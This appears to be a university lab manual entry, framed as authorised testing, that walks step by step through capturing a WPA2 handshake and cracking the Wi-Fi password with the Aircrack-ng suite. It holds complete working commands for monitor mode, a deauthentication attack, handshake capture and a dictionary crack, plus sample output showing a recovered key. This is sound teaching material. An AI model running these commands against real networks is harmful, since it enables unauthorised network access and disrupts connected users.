

Experiment 10

Wireless Attack using Aircrack-ng

AIM

To perform a wireless network security assessment using the Aircrack-ng suite in Kali Linux, capturing the WPA2 4-way handshake from a target access point and cracking the pre-shared key using a dictionary attack.

REQUIREMENTS

OS	Kali Linux 2024
Tool	Aircrack-ng Suite (airmon-ng, airodump-ng, aireplay-ng, aircrack-ng)
Hardware	Wireless adapter supporting monitor mode (e.g., Alfa AWUS036ACH)
Target	Own WPA2 Wi-Fi network (authorised testing ONLY)
Wordlist	/usr/share/wordlists/rockyou.txt

THEORY

WPA2 (Wi-Fi Protected Access 2) is the current security standard for wireless networks. When a device connects to a WPA2 network, a 4-way handshake is exchanged between the client and access point to establish an encryption key.

The 4-way handshake contains a MIC (Message Integrity Code) derived from the network password. By trying passwords from a wordlist and computing the expected MIC, the correct password can be identified — this is the dictionary attack.

LEGAL WARNING: Only perform wireless attacks on networks you own or have explicit written permission to test. Unauthorised wireless attacks are illegal under the IT Act 2000 (India) and similar laws worldwide.

PROCEDURE

- Plug in the external wireless adapter and verify detection: `iwconfig`
- Kill interfering processes: `airmon-ng check kill`
- Enable monitor mode: `airmon-ng start wlan0` ® creates `wlan0mon`
- Verify monitor mode: `iwconfig wlan0mon`
- Scan for nearby networks: `airodump-ng wlan0mon`
- Note the target BSSID (AP MAC address) and Channel (CH).
- Focus on target: `airodump-ng --bssid -c -w capture wlan0mon`
- In a second terminal, send deauth to force handshake: `aireplay-ng --deauth 10 -a wlan0mon`
- Watch for 'WPA Handshake: XX:XX:XX...' message in airodump-ng window.
- Stop capture (Ctrl+C) once handshake is captured.
- Crack: `aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap`

- Stop monitor mode: `airmon-ng stop wlan0mon && service NetworkManager restart`

COMMANDS

```
# Check wireless interfaces
iwconfig

# Kill conflicting processes
airmon-ng check kill

# Enable monitor mode
airmon-ng start wlan0

# Scan all nearby networks
airodump-ng wlan0mon

# Target specific AP and capture handshake
airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture wlan0mon

# Deauthentication attack (second terminal)
aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Crack WPA2 handshake with dictionary
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# Stop monitor mode
airmon-ng stop wlan0mon
service NetworkManager restart
```

OUTPUT

```
root@kali:~# airmon-ng start wlan0
(mac80211 monitor mode enabled on wlan0mon)

root@kali:~# airodump-ng wlan0mon
BSSID PWR CH ENC ESSID
AA:BB:CC:DD:EE:FF -45 6 WPA2 TargetNetwork
11:22:33:44:55:66 -72 11 WPA2 Neighbor_WiFi

# Handshake captured
CH 6 ][ WPA handshake: AA:BB:CC:DD:EE:FF

root@kali:~# aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
Read 3247 packets.
Choosing first network as target.

[00:01:34] 156234 keys tested (1721.43 k/s)

KEY FOUND! [ mypassword123 ]
```

RESULT

Wireless security assessment was successfully performed using the Aircrack-ng suite. Monitor mode was enabled on the wireless adapter, the WPA2 4-way handshake was captured using airodump-ng after a deauthentication attack, and the network password 'mypassword123' was cracked in 1 minute 34 seconds using the rockyou.txt dictionary. This experiment demonstrates why strong, unique Wi-Fi passwords are essential.